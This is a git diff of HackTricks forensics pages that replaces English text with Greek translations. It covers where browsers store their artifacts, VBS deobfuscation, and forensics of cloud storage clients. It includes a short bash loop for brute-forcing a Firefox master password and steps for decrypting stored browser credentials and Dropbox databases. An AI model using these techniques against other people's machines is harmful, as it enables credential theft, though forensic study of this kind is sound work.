το [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html). +- **favicons.sqlite**: Αποθηκεύει favicons. +- **prefs.js**: Ρυθμίσεις και προτιμήσεις χρήστη. +- **downloads.sqlite**: Παλιότερη βάση δεδομένων λήψεων, τώρα ενσωματωμένη στο places.sqlite. +- **thumbnails**: Μικρογραφίες ιστότοπων. +- **logins.json**: Κρυπτογραφημένες πληροφορίες σύνδεσης. +- **key4.db** ή **key3.db**: Αποθηκεύει κλειδιά κρυπτογράφησης για την ασφάλιση ευαίσθητων πληροφοριών. -Additionally, checking the browser’s anti-phishing settings can be done by searching for `browser.safebrowsing` entries in `prefs.js`, indicating whether safe browsing features are enabled or disabled. - -To try to decrypt the master password, you can use [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\ -With the following script and call you can specify a password file to brute force: +Επιπλέον, η έρευνα για τις ρυθμίσεις κατά της απάτης του προγράμματος περιήγησης μπορεί να γίνει αναζητώντας τις καταχωρίσεις `browser.safebrowsing` στο `prefs.js`, υποδεικνύοντας εάν οι δυνατότητες ασφαλούς πλοήγησης είναι ενεργοποιημένες ή απενεργοποιημένες. +Για να προσπαθήσετε να αποκρυπτογραφήσετε τον κύριο κωδικό πρόσβασης, μπορείτε να χρησιμοποιήσετε [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\ +Με το παρακάτω σενάριο και κλήση μπορείτε να καθορίσετε ένα αρχείο κωδικού πρόσβασης για brute force: ```bash:brute.sh #!/bin/bash #./brute.sh top-passwords.txt 2>/dev/null | grep -A2 -B2 "chrome:" passfile=$1 while read pass; do - echo "Trying $pass" - echo "$pass" | python firefox_decrypt.py +echo "Trying $pass" +echo "$pass" | python firefox_decrypt.py done < $passfile ``` - ![](<../../../images/image (417).png>) ## Google Chrome -Google Chrome stores user profiles in specific locations based on the operating system: +Ο Google Chrome αποθηκεύει τα προφίλ χρηστών σε συγκεκριμένες τοποθεσίες ανάλογα με το λειτουργικό σύστημα: - **Linux**: `~/.config/google-chrome/` - **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\` - **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/` -Within these directories, most user data can be found in the **Default/** or **ChromeDefaultData/** folders. The following files hold significant data: +Μέσα σε αυτούς τους καταλόγους, τα περισσότερα δεδομένα χρηστών μπορούν να βρεθούν στους φακέλους **Default/** ή **ChromeDefaultData/**. Τα παρακάτω αρχεία περιέχουν σημαντικά δεδομένα: -- **History**: Contains URLs, downloads, and search keywords. On Windows, [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) can be used to read the history. The "Transition Type" column has various meanings, including user clicks on links, typed URLs, form submissions, and page reloads. -- **Cookies**: Stores cookies. For inspection, [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html) is available. -- **Cache**: Holds cached data. To inspect, Windows users can utilize [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html). -- **Bookmarks**: User bookmarks. -- **Web Data**: Contains form history. -- **Favicons**: Stores website favicons. -- **Login Data**: Includes login credentials like usernames and passwords. -- **Current Session**/**Current Tabs**: Data about the current browsing session and open tabs. -- **Last Session**/**Last Tabs**: Information about the sites active during the last session before Chrome was closed. -- **Extensions**: Directories for browser extensions and addons. -- **Thumbnails**: Stores website thumbnails. -- **Preferences**: A file rich in information, including settings for plugins, extensions, pop-ups, notifications, and more. -- **Browser’s built-in anti-phishing**: To check if anti-phishing and malware protection are enabled, run `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Look for `{"enabled: true,"}` in the output. +- **History**: Περιέχει URLs, λήψεις και λέξεις-κλειδιά αναζήτησης. Στα Windows, μπορεί να χρησιμοποιηθεί το [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) για να διαβαστεί το ιστορικό. Η στήλη "Transition Type" έχει διάφορες σημασίες, συμπεριλαμβανομένων των κλικ χρηστών σε συνδέσμους, πληκτρολογημένων URLs, υποβολών φορμών και ανανεώσεων σελίδων. +- **Cookies**: Αποθηκεύει cookies. Για επιθεώρηση, είναι διαθέσιμο το [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html). +- **Cache**: Περιέχει δεδομένα cache. Για επιθεώρηση, οι χρήστες Windows μπορούν να χρησιμοποιήσουν το [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html). +- **Bookmarks**: Σελιδοδείκτες χρηστών. +- **Web Data**: Περιέχει ιστορικό φορμών. +- **Favicons**: Αποθηκεύει τα favicons ιστοσελίδων. +- **Login Data**: Περιλαμβάνει διαπιστευτήρια σύνδεσης όπως ονόματα χρηστών και κωδικούς πρόσβασης. +- **Current Session**/**Current Tabs**: Δεδομένα σχετικά με την τρέχουσα συνεδρία περιήγησης και τις ανοιχτές καρτέλες. +- **Last Session**/**Last Tabs**: Πληροφορίες σχετικά με τους ιστότοπους που ήταν ενεργοί κατά την τελευταία συνεδρία πριν κλείσει ο Chrome. +- **Extensions**: Κατάλογοι για επεκτάσεις και πρόσθετα του προγράμματος περιήγησης. +- **Thumbnails**: Αποθηκεύει μικρογραφίες ιστοσελίδων. +- **Preferences**: Ένα αρχείο πλούσιο σε πληροφορίες, συμπεριλαμβανομένων ρυθμίσεων για πρόσθετα, επεκτάσεις, αναδυόμενα παράθυρα, ειδοποιήσεις και άλλα. +- **Browser’s built-in anti-phishing**: Για να ελέγξετε αν είναι ενεργοποιημένη η προστασία κατά του phishing και του κακόβουλου λογισμικού, εκτελέστε `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Αναζητήστε `{"enabled: true,"}` στην έξοδο. ## **SQLite DB Data Recovery** -As you can observe in the previous sections, both Chrome and Firefox use **SQLite** databases to store the data. It's possible to **recover deleted entries using the tool** [**sqlparse**](https://github.com/padfoot999/sqlparse) **or** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). +Όπως μπορείτε να παρατηρήσετε στις προηγούμενες ενότητες, τόσο ο Chrome όσο και ο Firefox χρησιμοποιούν **SQLite** βάσεις δεδομένων για να αποθηκεύσουν τα δεδομένα. Είναι δυνατόν να **ανακτηθούν διαγραμμένες εγγραφές χρησιμοποιώντας το εργαλείο** [**sqlparse**](https://github.com/padfoot999/sqlparse) **ή** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases). ## **Internet Explorer 11** -Internet Explorer 11 manages its data and metadata across various locations, aiding in separating stored information and its corresponding details for easy access and management. +Ο Internet Explorer 11 διαχειρίζεται τα δεδομένα και τα μεταδεδομένα του σε διάφορες τοποθεσίες, διευκολύνοντας τη διαχωριστική αποθήκευση των πληροφοριών και των αντίστοιχων λεπτομερειών για εύκολη πρόσβαση και διαχείριση. ### Metadata Storage -Metadata for Internet Explorer is stored in `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (with VX being V01, V16, or V24). Accompanying this, the `V01.log` file might show modification time discrepancies with `WebcacheVX.data`, indicating a need for repair using `esentutl /r V01 /d`. This metadata, housed in an ESE database, can be recovered and inspected using tools like photorec and [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), respectively. Within the **Containers** table, one can discern the specific tables or containers where each data segment is stored, including cache details for other Microsoft tools such as Skype. +Τα μεταδεδομένα για τον Internet Explorer αποθηκεύονται στο `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (με το VX να είναι V01, V16 ή V24). Συνοδευόμενο από αυτό, το αρχείο `V01.log` μπορεί να δείξει διαφορές χρόνου τροποποίησης με το `WebcacheVX.data`, υποδεικνύοντας την ανάγκη επισκευής χρησιμοποιώντας `esentutl /r V01 /d`. Αυτά τα μεταδεδομένα, που φιλοξενούνται σε μια βάση δεδομένων ESE, μπορούν να ανακτηθούν και να επιθεωρηθούν χρησιμοποιώντας εργαλεία όπως το photorec και το [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), αντίστοιχα. Μέσα στον πίνακα **Containers**, μπορεί κανείς να διακρίνει τους συγκεκριμένους πίνακες ή κοντέινερ όπου αποθηκεύεται κάθε τμήμα δεδομένων, συμπεριλαμβανομένων των λεπτομερειών cache για άλλα εργαλεία της Microsoft όπως το Skype. ### Cache Inspection -The [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) tool allows for cache inspection, requiring the cache data extraction folder location. Metadata for cache includes filename, directory, access count, URL origin, and timestamps indicating cache creation, access, modification, and expiry times. +Το εργαλείο [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) επιτρέπει την επιθεώρηση της cache, απαιτώντας την τοποθεσία του φακέλου εξαγωγής δεδομένων cache. Τα μεταδεδομένα για την cache περιλαμβάνουν το όνομα αρχείου, τον κατάλογο, τον αριθμό πρόσβασης, την προέλευση URL και χρονικές σφραγίδες που υποδεικνύουν τους χρόνους δημιουργίας, πρόσβασης, τροποποίησης και λήξης της cache. ### Cookies Management -Cookies can be explored using [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), with metadata encompassing names, URLs, access counts, and various time-related details. Persistent cookies are stored in `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, with session cookies residing in memory. +Τα cookies μπορούν να εξερευνηθούν χρησιμοποιώντας το [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), με τα μεταδεδομένα να περιλαμβάνουν ονόματα, URLs, αριθμούς πρόσβασης και διάφορες λεπτομέρειες σχετικές με τον χρόνο. Τα μόνιμα cookies αποθηκεύονται στο `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, με τα cookies συνεδρίας να βρίσκονται στη μνήμη. ### Download Details -Downloads metadata is accessible via [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), with specific containers holding data like URL, file type, and download location. Physical files can be found under `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. +Τα μεταδεδομένα λήψεων είναι προσβάσιμα μέσω του [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), με συγκεκριμένα κοντέινερ να περιέχουν δεδομένα όπως URL, τύπο αρχείου και τοποθεσία λήψης. Τα φυσικά αρχεία μπορούν να βρεθούν κάτω από `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`. ### Browsing History -To review browsing history, [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) can be used, requiring the location of extracted history files and configuration for Internet Explorer. Metadata here includes modification and access times, along with access counts. History files are located in `%userprofile%\Appdata\Local\Microsoft\Windows\History`. +Για να αναθεωρήσετε το ιστορικό περιήγησης, μπορεί να χρησιμοποιηθεί το [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html), απαιτώντας την τοποθεσία των εξαγόμενων αρχείων ιστορικού και τη ρύθμιση για τον Internet Explorer. Τα μεταδεδομένα εδώ περιλαμβάνουν χρόνους τροποποίησης και πρόσβασης, καθώς και αριθμούς πρόσβασης. Τα αρχεία ιστορικού βρίσκονται στο `%userprofile%\Appdata\Local\Microsoft\Windows\History`. ### Typed URLs -Typed URLs and their usage timings are stored within the registry under `NTUSER.DAT` at `Software\Microsoft\InternetExplorer\TypedURLs` and `Software\Microsoft\InternetExplorer\TypedURLsTime`, tracking the last 50 URLs entered by the user and their last input times. +Οι πληκτρολογημένες URLs και οι χρόνοι χρήσης τους αποθηκεύονται στο μητρώο κάτω από `NTUSER.DAT` στο `Software\Microsoft\InternetExplorer\TypedURLs` και `Software\Microsoft\InternetExplorer\TypedURLsTime`, παρακολουθώντας τις τελευταίες 50 URLs που εισήγαγε ο χρήστης και τους τελευταίους χρόνους εισόδου τους. ## Microsoft Edge -Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The paths for various data types are: +Ο Microsoft Edge αποθηκεύει τα δεδομένα χρηστών στο `%userprofile%\Appdata\Local\Packages`. Οι διαδρομές για διάφορους τύπους δεδομένων είναι: - **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC` - **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat` @@ -143,24 +133,24 @@ Microsoft Edge stores user data in `%userprofile%\Appdata\Local\Packages`. The p ## Safari -Safari data is stored at `/Users/$User/Library/Safari`. Key files include: +Τα δεδομένα του Safari αποθηκεύονται στο `/Users/$User/Library/Safari`. Κύρια αρχεία περιλαμβάνουν: -- **History.db**: Contains `history_visits` and `history_items` tables with URLs and visit timestamps. Use `sqlite3` to query. -- **Downloads.plist**: Information about downloaded files. -- **Bookmarks.plist**: Stores bookmarked URLs. -- **TopSites.plist**: Most frequently visited sites. -- **Extensions.plist**: List of Safari browser extensions. Use `plutil` or `pluginkit` to retrieve. -- **UserNotificationPermissions.plist**: Domains permitted to push notifications. Use `plutil` to parse. -- **LastSession.plist**: Tabs from the last session. Use `plutil` to parse. -- **Browser’s built-in anti-phishing**: Check using `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. A response of 1 indicates the feature is active. +- **History.db**: Περιέχει πίνακες `history_visits` και `history_items` με URLs και χρονικές σφραγίδες επισκέψεων. Χρησιμοποιήστε το `sqlite3` για να κάνετε ερωτήσεις. +- **Downloads.plist**: Πληροφορίες σχετικά με τα ληφθέντα αρχεία. +- **Bookmarks.plist**: Αποθηκεύει τα URLs που έχουν προστεθεί στους σελιδοδείκτες. +- **TopSites.plist**: Οι πιο συχνά επισκεπτόμενοι ιστότοποι. +- **Extensions.plist**: Λίστα με τις επεκτάσεις του προγράμματος περιήγησης Safari. Χρησιμοποιήστε το `plutil` ή το `pluginkit` για να ανακτήσετε. +- **UserNotificationPermissions.plist**: Τομείς που επιτρέπεται να στέλνουν ειδοποιήσεις. Χρησιμοποιήστε το `plutil` για να αναλύσετε. +- **LastSession.plist**: Καρτέλες από την τελευταία συνεδρία. Χρησιμοποιήστε το `plutil` για να αναλύσετε. +- **Browser’s built-in anti-phishing**: Ελέγξτε χρησιμοποιώντας `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Μια απάντηση 1 υποδεικνύει ότι η δυνατότητα είναι ενεργή. ## Opera -Opera's data resides in `/Users/$USER/Library/Application Support/com.operasoftware.Opera` and shares Chrome's format for history and downloads. +Τα δεδομένα του Opera βρίσκονται στο `/Users/$USER/Library/Application Support/com.operasoftware.Opera` και μοιράζονται τη μορφή του Chrome για ιστορικό και λήψεις. -- **Browser’s built-in anti-phishing**: Verify by checking if `fraud_protection_enabled` in the Preferences file is set to `true` using `grep`. +- **Browser’s built-in anti-phishing**: Επαληθεύστε ελέγχοντας αν το `fraud_protection_enabled` στο αρχείο Preferences είναι ρυθμισμένο σε `true` χρησιμοποιώντας `grep`. -These paths and commands are crucial for accessing and understanding the browsing data stored by different web browsers. +Αυτές οι διαδρομές και οι εντολές είναι κρίσιμες για την πρόσβαση και την κατανόηση των δεδομένων περιήγησης που αποθηκεύονται από διάφορους ιστότοπους. ## References @@ -169,12 +159,4 @@ These paths and commands are crucial for accessing and understanding the browsin - [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ&pg=PA128&lpg=PA128&dq=%22This+file) - **Book: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123** -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md index c22a6f566..04ed61d67 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/desofuscation-vbs-cscript.exe.md @@ -1,50 +1,42 @@ {{#include ../../../banners/hacktricks-training.md}} -Some things that could be useful to debug/deobfuscate a malicious VBS file: +Ορισμένα πράγματα που θα μπορούσαν να είναι χρήσιμα για την αποσφαλμάτωση/αποσυμπίεση ενός κακόβουλου αρχείου VBS: ## echo - ```bash Wscript.Echo "Like this?" ``` - -## Commnets - +## Σχόλια ```bash ' this is a comment ``` - -## Test - +## Δοκιμή ```bash cscript.exe file.vbs ``` - -## Write data to a file - +## Γράψτε δεδομένα σε ένα αρχείο ```js Function writeBinary(strBinary, strPath) - Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") +Dim oFSO: Set oFSO = CreateObject("Scripting.FileSystemObject") - ' below lines purpose: checks that write access is possible! - Dim oTxtStream +' below lines purpose: checks that write access is possible! +Dim oTxtStream - On Error Resume Next - Set oTxtStream = oFSO.createTextFile(strPath) +On Error Resume Next +Set oTxtStream = oFSO.createTextFile(strPath) - If Err.number <> 0 Then MsgBox(Err.message) : Exit Function - On Error GoTo 0 +If Err.number <> 0 Then MsgBox(Err.message) : Exit Function +On Error GoTo 0 - Set oTxtStream = Nothing - ' end check of write access +Set oTxtStream = Nothing +' end check of write access - With oFSO.createTextFile(strPath) - .Write(strBinary) - .Close - End With +With oFSO.createTextFile(strPath) +.Write(strBinary) +.Close +End With End Function ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md index 99792162b..6e55fe9e9 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/local-cloud-storage.md @@ -1,114 +1,97 @@ -# Local Cloud Storage +# Τοπική Αποθήκευση Cloud {{#include ../../../banners/hacktricks-training.md}} -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} ## OneDrive -In Windows, you can find the OneDrive folder in `\Users\\AppData\Local\Microsoft\OneDrive`. And inside `logs\Personal` it's possible to find the file `SyncDiagnostics.log` which contains some interesting data regarding the synchronized files: +Στα Windows, μπορείτε να βρείτε τον φάκελο OneDrive στο `\Users\\AppData\Local\Microsoft\OneDrive`. Και μέσα στον φάκελο `logs\Personal` είναι δυνατόν να βρείτε το αρχείο `SyncDiagnostics.log` το οποίο περιέχει κάποια ενδιαφέροντα δεδομένα σχετικά με τα συγχρονισμένα αρχεία: -- Size in bytes -- Creation date -- Modification date -- Number of files in the cloud -- Number of files in the folder -- **CID**: Unique ID of the OneDrive user -- Report generation time -- Size of the HD of the OS +- Μέγεθος σε bytes +- Ημερομηνία δημιουργίας +- Ημερομηνία τροποποίησης +- Αριθμός αρχείων στο cloud +- Αριθμός αρχείων στον φάκελο +- **CID**: Μοναδικό ID του χρήστη OneDrive +- Χρόνος δημιουργίας αναφοράς +- Μέγεθος του HD του OS -Once you have found the CID it's recommended to **search files containing this ID**. You may be able to find files with the name: _**\.ini**_ and _**\.dat**_ that may contain interesting information like the names of files synchronized with OneDrive. +Αφού βρείτε το CID, συνιστάται να **αναζητήσετε αρχεία που περιέχουν αυτό το ID**. Μπορείτε να βρείτε αρχεία με το όνομα: _**\.ini**_ και _**\.dat**_ που μπορεί να περιέχουν ενδιαφέρουσες πληροφορίες όπως τα ονόματα των αρχείων που συγχρονίστηκαν με το OneDrive. ## Google Drive -In Windows, you can find the main Google Drive folder in `\Users\\AppData\Local\Google\Drive\user_default`\ -This folder contains a file called Sync_log.log with information like the email address of the account, filenames, timestamps, MD5 hashes of the files, etc. Even deleted files appear in that log file with its corresponding MD5. +Στα Windows, μπορείτε να βρείτε τον κύριο φάκελο Google Drive στο `\Users\\AppData\Local\Google\Drive\user_default`\ +Αυτός ο φάκελος περιέχει ένα αρχείο που ονομάζεται Sync_log.log με πληροφορίες όπως τη διεύθυνση email του λογαριασμού, ονόματα αρχείων, χρονικές σφραγίδες, MD5 hashes των αρχείων, κ.λπ. Ακόμα και τα διαγραμμένα αρχεία εμφανίζονται σε αυτό το αρχείο καταγραφής με το αντίστοιχο MD5. -The file **`Cloud_graph\Cloud_graph.db`** is a sqlite database which contains the table **`cloud_graph_entry`**. In this table you can find the **name** of the **synchronized** **files**, modified time, size, and the MD5 checksum of the files. +Το αρχείο **`Cloud_graph\Cloud_graph.db`** είναι μια βάση δεδομένων sqlite που περιέχει τον πίνακα **`cloud_graph_entry`**. Σε αυτόν τον πίνακα μπορείτε να βρείτε το **όνομα** των **συγχρονισμένων** **αρχείων**, την τροποποιημένη ώρα, το μέγεθος και το MD5 checksum των αρχείων. -The table data of the database **`Sync_config.db`** contains the email address of the account, the path of the shared folders and the Google Drive version. +Τα δεδομένα του πίνακα της βάσης δεδομένων **`Sync_config.db`** περιέχουν τη διεύθυνση email του λογαριασμού, τη διαδρομή των κοινών φακέλων και την έκδοση του Google Drive. ## Dropbox -Dropbox uses **SQLite databases** to manage the files. In this\ -You can find the databases in the folders: +Το Dropbox χρησιμοποιεί **βάσεις δεδομένων SQLite** για τη διαχείριση των αρχείων. Σε αυτό\ +Μπορείτε να βρείτε τις βάσεις δεδομένων στους φακέλους: - `\Users\\AppData\Local\Dropbox` - `\Users\\AppData\Local\Dropbox\Instance1` - `\Users\\AppData\Roaming\Dropbox` -And the main databases are: +Και οι κύριες βάσεις δεδομένων είναι: - Sigstore.dbx - Filecache.dbx - Deleted.dbx - Config.dbx -The ".dbx" extension means that the **databases** are **encrypted**. Dropbox uses **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) +Η επέκταση ".dbx" σημαίνει ότι οι **βάσεις δεδομένων** είναι **κρυπτογραφημένες**. Το Dropbox χρησιμοποιεί **DPAPI** ([https://docs.microsoft.com/en-us/previous-versions/ms995355(v=msdn.10)?redirectedfrom=MSDN]()) -To understand better the encryption that Dropbox uses you can read [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). +Για να κατανοήσετε καλύτερα την κρυπτογράφηση που χρησιμοποιεί το Dropbox, μπορείτε να διαβάσετε [https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html](https://blog.digital-forensics.it/2017/04/brush-up-on-dropbox-dbx-decryption.html). -However, the main information is: +Ωστόσο, οι κύριες πληροφορίες είναι: - **Entropy**: d114a55212655f74bd772e37e64aee9b - **Salt**: 0D638C092E8B82FC452883F95F355B8E - **Algorithm**: PBKDF2 - **Iterations**: 1066 -Apart from that information, to decrypt the databases you still need: +Εκτός από αυτές τις πληροφορίες, για να αποκρυπτογραφήσετε τις βάσεις δεδομένων χρειάζεστε επίσης: -- The **encrypted DPAPI key**: You can find it in the registry inside `NTUSER.DAT\Software\Dropbox\ks\client` (export this data as binary) -- The **`SYSTEM`** and **`SECURITY`** hives -- The **DPAPI master keys**: Which can be found in `\Users\\AppData\Roaming\Microsoft\Protect` -- The **username** and **password** of the Windows user +- Το **κρυπτογραφημένο κλειδί DPAPI**: Μπορείτε να το βρείτε στο μητρώο μέσα στο `NTUSER.DAT\Software\Dropbox\ks\client` (εξάγετε αυτά τα δεδομένα ως δυαδικά) +- Τις **hives** **`SYSTEM`** και **`SECURITY`** +- Τα **master keys DPAPI**: Τα οποία μπορούν να βρεθούν στο `\Users\\AppData\Roaming\Microsoft\Protect` +- Το **όνομα χρήστη** και τον **κωδικό πρόσβασης** του χρήστη των Windows -Then you can use the tool [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:** +Στη συνέχεια, μπορείτε να χρησιμοποιήσετε το εργαλείο [**DataProtectionDecryptor**](https://nirsoft.net/utils/dpapi_data_decryptor.html)**:** ![](<../../../images/image (448).png>) -If everything goes as expected, the tool will indicate the **primary key** that you need to **use to recover the original one**. To recover the original one, just use this [cyber_chef receipt]() putting the primary key as the "passphrase" inside the receipt. - -The resulting hex is the final key used to encrypt the databases which can be decrypted with: +Αν όλα πάνε όπως αναμένεται, το εργαλείο θα υποδείξει το **κύριο κλειδί** που χρειάζεστε για να **χρησιμοποιήσετε για να ανακτήσετε το αρχικό**. Για να ανακτήσετε το αρχικό, απλώς χρησιμοποιήστε αυτή τη [συνταγή cyber_chef]() βάζοντας το κύριο κλειδί ως "passphrase" μέσα στη συνταγή. +Το προκύπτον hex είναι το τελικό κλειδί που χρησιμοποιείται για την κρυπτογράφηση των βάσεων δεδομένων που μπορεί να αποκρυπτογραφηθεί με: ```bash sqlite -k config.dbx ".backup config.db" #This decompress the config.dbx and creates a clear text backup in config.db ``` +Η **`config.dbx`** βάση δεδομένων περιέχει: -The **`config.dbx`** database contains: +- **Email**: Το email του χρήστη +- **usernamedisplayname**: Το όνομα του χρήστη +- **dropbox_path**: Διαδρομή όπου βρίσκεται ο φάκελος dropbox +- **Host_id: Hash** που χρησιμοποιείται για την αυθεντικοποίηση στο cloud. Αυτό μπορεί να ανακληθεί μόνο από το διαδίκτυο. +- **Root_ns**: Αναγνωριστικό χρήστη -- **Email**: The email of the user -- **usernamedisplayname**: The name of the user -- **dropbox_path**: Path where the dropbox folder is located -- **Host_id: Hash** used to authenticate to the cloud. This can only be revoked from the web. -- **Root_ns**: User identifier +Η **`filecache.db`** βάση δεδομένων περιέχει πληροφορίες σχετικά με όλα τα αρχεία και τους φακέλους που συγχρονίζονται με το Dropbox. Ο πίνακας `File_journal` είναι αυτός με τις πιο χρήσιμες πληροφορίες: -The **`filecache.db`** database contains information about all the files and folders synchronized with Dropbox. The table `File_journal` is the one with more useful information: +- **Server_path**: Διαδρομή όπου βρίσκεται το αρχείο μέσα στον διακομιστή (αυτή η διαδρομή προηγείται από το `host_id` του πελάτη). +- **local_sjid**: Έκδοση του αρχείου +- **local_mtime**: Ημερομηνία τροποποίησης +- **local_ctime**: Ημερομηνία δημιουργίας -- **Server_path**: Path where the file is located inside the server (this path is preceded by the `host_id` of the client). -- **local_sjid**: Version of the file -- **local_mtime**: Modification date -- **local_ctime**: Creation date +Άλλοι πίνακες μέσα σε αυτή τη βάση δεδομένων περιέχουν πιο ενδιαφέρουσες πληροφορίες: -Other tables inside this database contain more interesting information: - -- **block_cache**: hash of all the files and folders of Dropbox -- **block_ref**: Related the hash ID of the table `block_cache` with the file ID in the table `file_journal` -- **mount_table**: Share folders of dropbox -- **deleted_fields**: Dropbox deleted files +- **block_cache**: hash όλων των αρχείων και φακέλων του Dropbox +- **block_ref**: Συσχετίζει το hash ID του πίνακα `block_cache` με το ID του αρχείου στον πίνακα `file_journal` +- **mount_table**: Κοινόχρηστοι φάκελοι του dropbox +- **deleted_fields**: Διαγραμμένα αρχεία του Dropbox - **date_added** -
- -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md index 34433ce87..a101c8214 100644 --- a/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md +++ b/src/forensics/basic-forensic-methodology/specific-software-file-type-tricks/office-file-analysis.md @@ -1,36 +1,18 @@ -# Office file analysis +# Ανάλυση αρχείων Office {{#include ../../../banners/hacktricks-training.md}} -
+Για περισσότερες πληροφορίες, ελέγξτε [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). Αυτό είναι απλώς μια περίληψη: -\ -Use [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: +Η Microsoft έχει δημιουργήσει πολλούς τύπους εγγράφων Office, με τους δύο κύριους τύπους να είναι οι **OLE formats** (όπως RTF, DOC, XLS, PPT) και οι **Office Open XML (OOXML) formats** (όπως DOCX, XLSX, PPTX). Αυτοί οι τύποι μπορούν να περιλαμβάνουν μακροεντολές, καθιστώντας τους στόχους για phishing και κακόβουλο λογισμικό. Τα αρχεία OOXML είναι δομημένα ως zip containers, επιτρέποντας την επιθεώρηση μέσω αποσυμπίεσης, αποκαλύπτοντας τη δομή αρχείων και φακέλων και το περιεχόμενο των αρχείων XML. -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +Για να εξερευνήσετε τις δομές αρχείων OOXML, παρέχονται η εντολή για την αποσυμπίεση ενός εγγράφου και η δομή εξόδου. Τεχνικές για την απόκρυψη δεδομένων σε αυτά τα αρχεία έχουν τεκμηριωθεί, υποδεικνύοντας συνεχιζόμενη καινοτομία στην απόκρυψη δεδομένων εντός προκλήσεων CTF. -For further information check [https://trailofbits.github.io/ctf/forensics/](https://trailofbits.github.io/ctf/forensics/). This is just a sumary: - -Microsoft has created many office document formats, with two main types being **OLE formats** (like RTF, DOC, XLS, PPT) and **Office Open XML (OOXML) formats** (such as DOCX, XLSX, PPTX). These formats can include 